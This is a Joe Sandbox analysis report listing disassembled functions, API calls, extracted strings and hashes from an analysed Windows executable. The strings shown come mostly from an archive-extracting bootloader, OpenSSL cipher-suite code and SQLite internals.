Instruction ID: 64c9254f4cc18c1062e46c0276ede67bee28ea1b66b377b9b023a1583293e9f1
Opcode Fuzzy Hash: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
Instruction Fuzzy Hash: 24519313A2CA8781FA619B2DE851AFA63A0AF94788F444435DB4ED36F5EE3CF5048740

Function 00007FF6B7501600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to write data chunk!, xrefs: 00007FF6B75017CA
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6B75016A2
Failed to create symbolic link %s!, xrefs: 00007FF6B7501622
fwrite, xrefs: 00007FF6B75017D1
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF6B7501742
fopen, xrefs: 00007FF6B7501663
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6B75016DA
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6B75017DF
fread, xrefs: 00007FF6B75017E6
Failed to extract %s: failed to open target file!, xrefs: 00007FF6B750165C
malloc, xrefs: 00007FF6B7501749
fseek, xrefs: 00007FF6B75016E1

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 2e06f33cb789c1c4285bc897e82d473ee5f193417d7b5bbbaceb79e5ee1fa664
Instruction ID: 1c666878ca6cd65b34c36de1c7d6d3058427205002bf00e49484db3ad9b5a93f
Opcode Fuzzy Hash: 2e06f33cb789c1c4285bc897e82d473ee5f193417d7b5bbbaceb79e5ee1fa664
Instruction Fuzzy Hash: FD519D63B0C64782EA10AB6994001B963A0BF84798F844535EF4CC7BF6EE3CF685C301

Function 00007FFE00775880 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 101COMMON

Download Yara Rule

APIs

00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFE007758B8
00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFE007758E9

Strings

ECDHE-ECDSA-AES128-GCM-SHA256, xrefs: 00007FFE007759F4
check_suiteb_cipher_list, xrefs: 00007FFE00775989
SUITEB192, xrefs: 00007FFE0077593D
SUITEB128C2, xrefs: 00007FFE007758DC
ECDHE-ECDSA-AES256-GCM-SHA384, xrefs: 00007FFE007759D8, 00007FFE007759E8
SUITEB128, xrefs: 00007FFE0077590F
..\s\ssl\ssl_ciph.c, xrefs: 00007FFE00775995
ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384, xrefs: 00007FFE007759D1
SUITEB128ONLY, xrefs: 00007FFE007758A6

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: 00007B6570
String ID: ..\s\ssl\ssl_ciph.c$ECDHE-ECDSA-AES128-GCM-SHA256$ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384$ECDHE-ECDSA-AES256-GCM-SHA384$SUITEB128$SUITEB128C2$SUITEB128ONLY$SUITEB192$check_suiteb_cipher_list
API String ID: 4069847057-1099454403
Opcode ID: d010dc04cde0d827dd4d4b2974a89dd33488d398655083e96dacdbd8a206bc00
Instruction ID: 6626caf2ddb98e4c2b14fe5fd6035775ca580d567788023c27e0d9084c1723b7
Opcode Fuzzy Hash: d010dc04cde0d827dd4d4b2974a89dd33488d398655083e96dacdbd8a206bc00
Instruction Fuzzy Hash: 5F417131A0AA46D6E711AB15E85077823A0EB48BD4F484536DB4E877BDDF7CF950CB10

Function 00007FFE0137D610 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 386COMMON

Download Yara Rule

Strings

%s.%s, xrefs: 00007FFE0137D6DC
sqlite3_, xrefs: 00007FFE0137D813
lib, xrefs: 00007FFE0137D861
_init, xrefs: 00007FFE0137D90E
not authorized, xrefs: 00007FFE0137D683
no entry point [%s] in shared library [%s], xrefs: 00007FFE0137DAAC
sqlite3_extension_init, xrefs: 00007FFE0137D69A
error during initialization: %s, xrefs: 00007FFE0137D9D6
unable to open shared library [%.*s], xrefs: 00007FFE0137DC1F

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID:
String ID: %s.%s$_init$error during initialization: %s$lib$no entry point [%s] in shared library [%s]$not authorized$sqlite3_$sqlite3_extension_init$unable to open shared library [%.*s]
API String ID: 0-3733955532
Opcode ID: 88647394fd887147623df4bf723cbe03d19021e636b2fcbf605b74a54c7796be
Instruction ID: 638fc11925c426d41efb658b63c539dab47b5430d0252f557934ec2a18ff49e2
Opcode Fuzzy Hash: 88647394fd887147623df4bf723cbe03d19021e636b2fcbf605b74a54c7796be
Instruction Fuzzy Hash: 65029961A09B8386EF698FA1A8543B977A0FF85B89F094135DE4E0E6B5DF3CE404C300

Function 00007FFE0133B0C0 Relevance: 17.8, APIs: 2, Strings: 8, Instructions: 330COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFE0133B1C3
00007FFE1A463010.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FFE0133B2A4

Strings

zeroblob(%d), xrefs: 00007FFE0133B460
?, xrefs: 00007FFE0133B2B8
NULL, xrefs: 00007FFE0133B32D
%02x, xrefs: 00007FFE0133B4C4
%lld, xrefs: 00007FFE0133B361
%!.15g, xrefs: 00007FFE0133B37E
'%.*q', xrefs: 00007FFE0133B415
-- , xrefs: 00007FFE0133B153, 00007FFE0133B172

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: %!.15g$%02x$%lld$'%.*q'$-- $?$NULL$zeroblob(%d)
API String ID: 4225454184-875588658
Opcode ID: 2f58605a80ece0dbe873986359c22506b80aa05e97296c1e5264f92375f5e100
Instruction ID: f266fa446388cb4c1fe4940e6117a835c14fc7514572afc54d0e1492e1e05e12
Opcode Fuzzy Hash: 2f58605a80ece0dbe873986359c22506b80aa05e97296c1e5264f92375f5e100
Instruction Fuzzy Hash: DCE18272F086529AFB21CFA5D4503BC77A1AB04B48F064136DE4E6AAF9DE3CE545C348

Function 00007FFE01357760 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 327COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE01357AD2

Strings

Cannot add a REFERENCES column with non-NULL default value, xrefs: 00007FFE013578ED
Cannot add a NOT NULL column with default value NULL, xrefs: 00007FFE0135790F
UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q, xrefs: 00007FFE01357B14
Cannot add a PRIMARY KEY column, xrefs: 00007FFE01357881
SELECT raise(ABORT,%Q) FROM "%w"."%w", xrefs: 00007FFE013578F7, 00007FFE01357973, 00007FFE01357A81
Cannot add a UNIQUE column, xrefs: 00007FFE0135789C
SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') WHEN quick_check GLOB 'non-* value in*' THEN raise(ABORT,'type mismatch on DEFAULT') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE, xrefs: 00007FFE01357C5C
Cannot add a column with non-constant default, xrefs: 00007FFE01357969
cannot add a STORED column, xrefs: 00007FFE01357A72

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: Cannot add a NOT NULL column with default value NULL$Cannot add a PRIMARY KEY column$Cannot add a REFERENCES column with non-NULL default value$Cannot add a UNIQUE column$Cannot add a column with non-constant default$SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') WHEN quick_check GLOB 'non-* value in*' THEN raise(ABORT,'type mismatch on DEFAULT') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE$SELECT raise(ABORT,%Q) FROM "%w"."%w"$UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q$cannot add a STORED column
API String ID: 4225454184-200680935
Opcode ID: 5b4710b465af85f28d42b2c529d5cd9f71a28c578942a5c84c3729e8c5c3be64
Instruction ID: fe9703f92b979d24d44fd3b9768087eebf42dc778269b59b5bca7b74f1a8e6ed
Opcode Fuzzy Hash: 5b4710b465af85f28d42b2c529d5cd9f71a28c578942a5c84c3729e8c5c3be64
Instruction Fuzzy Hash: CFE1AA62A08B8281EB658B16E5447BA77A1FB44FC8F864135DE8D0BBB9DF3CE551C700

Function 00007FFE00761A23 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

00007FFDFAF24D31.LIBCRYPTO-3 ref: 00007FFE007A32B6
00007FFDFAF24D31.LIBCRYPTO-3 ref: 00007FFE007A32D7
00007FFDFAF24D31.LIBCRYPTO-3 ref: 00007FFE007A32F8
00007FFDFAF24D31.LIBCRYPTO-3 ref: 00007FFE007A3319
00007FFDFAF24D31.LIBCRYPTO-3 ref: 00007FFE007A3336
00007FFDFAF24D31.LIBCRYPTO-3 ref: 00007FFE007A3353
00007FFDFAF24D31.LIBCRYPTO-3 ref: 00007FFE007A3370
00007FFDFAF24D31.LIBCRYPTO-3 ref: 00007FFE007A338D

Strings

..\s\ssl\tls_srp.c, xrefs: 00007FFE007A33C3, 00007FFE007A3402, 00007FFE007A3436, 00007FFE007A3454, 00007FFE007A346D
ssl_srp_ctx_init_intern, xrefs: 00007FFE007A342D

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: 00007
String ID: ..\s\ssl\tls_srp.c$ssl_srp_ctx_init_intern
API String ID: 3568877910-1794268454
Opcode ID: 7c6f5f71629c738828d3fb28ae6d14af1525a41dda9b56dd32a690e7e5b3c519
Instruction ID: a609f79fcf7c490f1a8585a1039a1223843b2bdb569c50758e23c4a207666609
Opcode Fuzzy Hash: 7c6f5f71629c738828d3fb28ae6d14af1525a41dda9b56dd32a690e7e5b3c519
Instruction Fuzzy Hash: DD911122A1BB8281FA55EF25D4507B83360EF85B48F1C4636EB5D4B369DF3CA5918310

Function 00007FF6B7502180 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6B75021AB
SelectObject.GDI32 ref: 00007FF6B75021F2
DrawTextW.USER32 ref: 00007FF6B7502215
SelectObject.GDI32 ref: 00007FF6B750222B
ReleaseDC.USER32 ref: 00007FF6B750223B
MoveWindow.USER32 ref: 00007FF6B750228B
MoveWindow.USER32 ref: 00007FF6B75022CB
MoveWindow.USER32 ref: 00007FF6B750231E
MoveWindow.USER32 ref: 00007FF6B7502366

Strings

P%, xrefs: 00007FF6B75021FF

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction ID: 22ad40ebae3de3366863d30a60ff3b0a44f7f7b56b0eb5529f86f249ebe4b085
Opcode Fuzzy Hash: 044398bc2faddcfc72e28419b1c607044beef288ba0900b5e0371f537bcab75f
Instruction Fuzzy Hash: 1051E726608BA186D6349F36E4581BAB7A1F798B65F004125EFDE836A4EF3CD085DB10

Function 00007FF6B75080C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF6B75080FF
GetWindowLongPtrW.USER32 ref: 00007FF6B750817F
ShutdownBlockReasonCreate.USER32 ref: 00007FF6B7508192
GetLastError.KERNEL32 ref: 00007FF6B750819C
SetWindowLongPtrW.USER32 ref: 00007FF6B75081B3

Strings

Needs to remove its temporary files., xrefs: 00007FF6B7508185

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: LongWindow$BlockCreateErrorLastReasonShutdown
String ID: Needs to remove its temporary files.
API String ID: 3975851968-2863640275
Opcode ID: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction ID: 5366563b7c7873b22ac9c7ec1e089b531d78b2e5d599c86f239c1fcb5f5fc67b
Opcode Fuzzy Hash: fca9629812ae98fc4dea80e51924cd1fa5b6a95a0379263e815d251d6ca0a567
Instruction Fuzzy Hash: 1B219223B0CA4282EB458B7EE8545B96361FF88B94F584235DB6DC33F4EE2CE5918341

Function 00007FFDFAE62940 Relevance: 15.2, APIs: 10, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFDFAE62968
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFDFAE629BA
_RTC_Initialize.LIBCMT ref: 00007FFDFAE629E8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFDFAE62A0E
__scrt_release_startup_lock.LIBCMT ref: 00007FFDFAE62A39

Memory Dump Source

Source File: 00000001.00000002.2116621230.00007FFDFAE61000.00000040.00000001.01000000.00000013.sdmp, Offset: 00007FFDFAE60000, based on PE: true

Associated: 00000001.00000002.2116507686.00007FFDFAE60000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAEAA000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAEB8000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAF07000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAF0C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2116621230.00007FFDFAF0F000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2117242370.00007FFDFAF10000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2117294434.00007FFDFAF12000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae60000_program.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: bfa090c531bac24e46e178867b034455b2b04e74abd31691ae896f8f055f72f8
Instruction ID: 23d45c6cfb952ff7eef3566c951cbf40ad91b6494df43c4177ee712713469fc5
Opcode Fuzzy Hash: bfa090c531bac24e46e178867b034455b2b04e74abd31691ae896f8f055f72f8
Instruction Fuzzy Hash: 2E81C221F3C24386FB6CBB259470A796690AF95780F4489B5E92F473DEDE3EE8458700

Function 00007FF6B7516290 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75162D3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75166C0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B751695C

Strings

p, xrefs: 00007FF6B75163FD
p, xrefs: 00007FF6B7516385
-, xrefs: 00007FF6B7516369
:, xrefs: 00007FF6B751648C
f, xrefs: 00007FF6B75163F5

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction ID: c4733eaa1329521d65f513c589a98c92650a635fbfeec5a90d75ea550f6378d3
Opcode Fuzzy Hash: 75ce3dd5e90789a751ac91fed3db50e3550f512a2f4dec46f6fb30c565ad9a60
Instruction Fuzzy Hash: 8A128163E0C2A386FB205F18D1546B976A1FB50752F888135E78B86EE4DF3CE980CB10

Function 00007FF6B7510FC8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7511008
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75113D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B751166F

Strings

p, xrefs: 00007FF6B7511112
p, xrefs: 00007FF6B75110AD
f, xrefs: 00007FF6B7511255
f, xrefs: 00007FF6B75110A0
f, xrefs: 00007FF6B751110A

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction ID: ac11f2da6b373fe71ff394aa5867e5bdf766a2b15bf0cee618d3e2b85ee76662
Opcode Fuzzy Hash: efdc55b57c7b5823aa39a5abe82f144bbffe385c3037011f7a836833ec2ff017
Instruction Fuzzy Hash: CB129463E0C5A386FB205F1CE05467976A5FB40756F954071D79A86EE8DF7CE980CB00

Function 00007FFE01362070 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 414COMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE0136210A

Strings

%s %T already exists, xrefs: 00007FFE013622AD
table, xrefs: 00007FFE013621A5
view, xrefs: 00007FFE0136219E, 00007FFE013622B4
temporary table name must be unqualified, xrefs: 00007FFE0136213E
sqlite_master, xrefs: 00007FFE0136208F, 00007FFE013621F2, 00007FFE01362544
there is already an index named %s, xrefs: 00007FFE0136231E
sqlite_temp_master, xrefs: 00007FFE013620C9, 00007FFE013621CD

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010
String ID: %s %T already exists$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 4225454184-2846519077
Opcode ID: f9b62292e15983dd92f3d336a42f126a0ce1eb18eb7dc8c6fabe0fe700413ad5
Instruction ID: 40ddfc742e8e1b6d0c38c4cebd2bc01e26aee4a6f4aceab77a8cbc7f33280034
Opcode Fuzzy Hash: f9b62292e15983dd92f3d336a42f126a0ce1eb18eb7dc8c6fabe0fe700413ad5
Instruction Fuzzy Hash: 0502BF62A0878386EB24DF2594107AA77A1FB85FC8F428235DE8D4BBA5DF3CE555C700

Function 00007FF6B7501050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF6B7501098
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6B75010CC
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6B75011F6
fread, xrefs: 00007FF6B75011FD
malloc, xrefs: 00007FF6B750110F
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6B7501108
fseek, xrefs: 00007FF6B75010D3

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: ebfdd443e66c36c88ce938ee0def13dbb25be8a39f0dedabf99b0800e1494f32
Instruction ID: d15e8edc4f45c5f271024c7f72dfc8627a41669d215db790b53297602b771fef
Opcode Fuzzy Hash: ebfdd443e66c36c88ce938ee0def13dbb25be8a39f0dedabf99b0800e1494f32
Instruction Fuzzy Hash: F6419063B0C65282FA14DB1AA8006B963A1FF44BC8F944432EF4D877A6DE3CF542C781

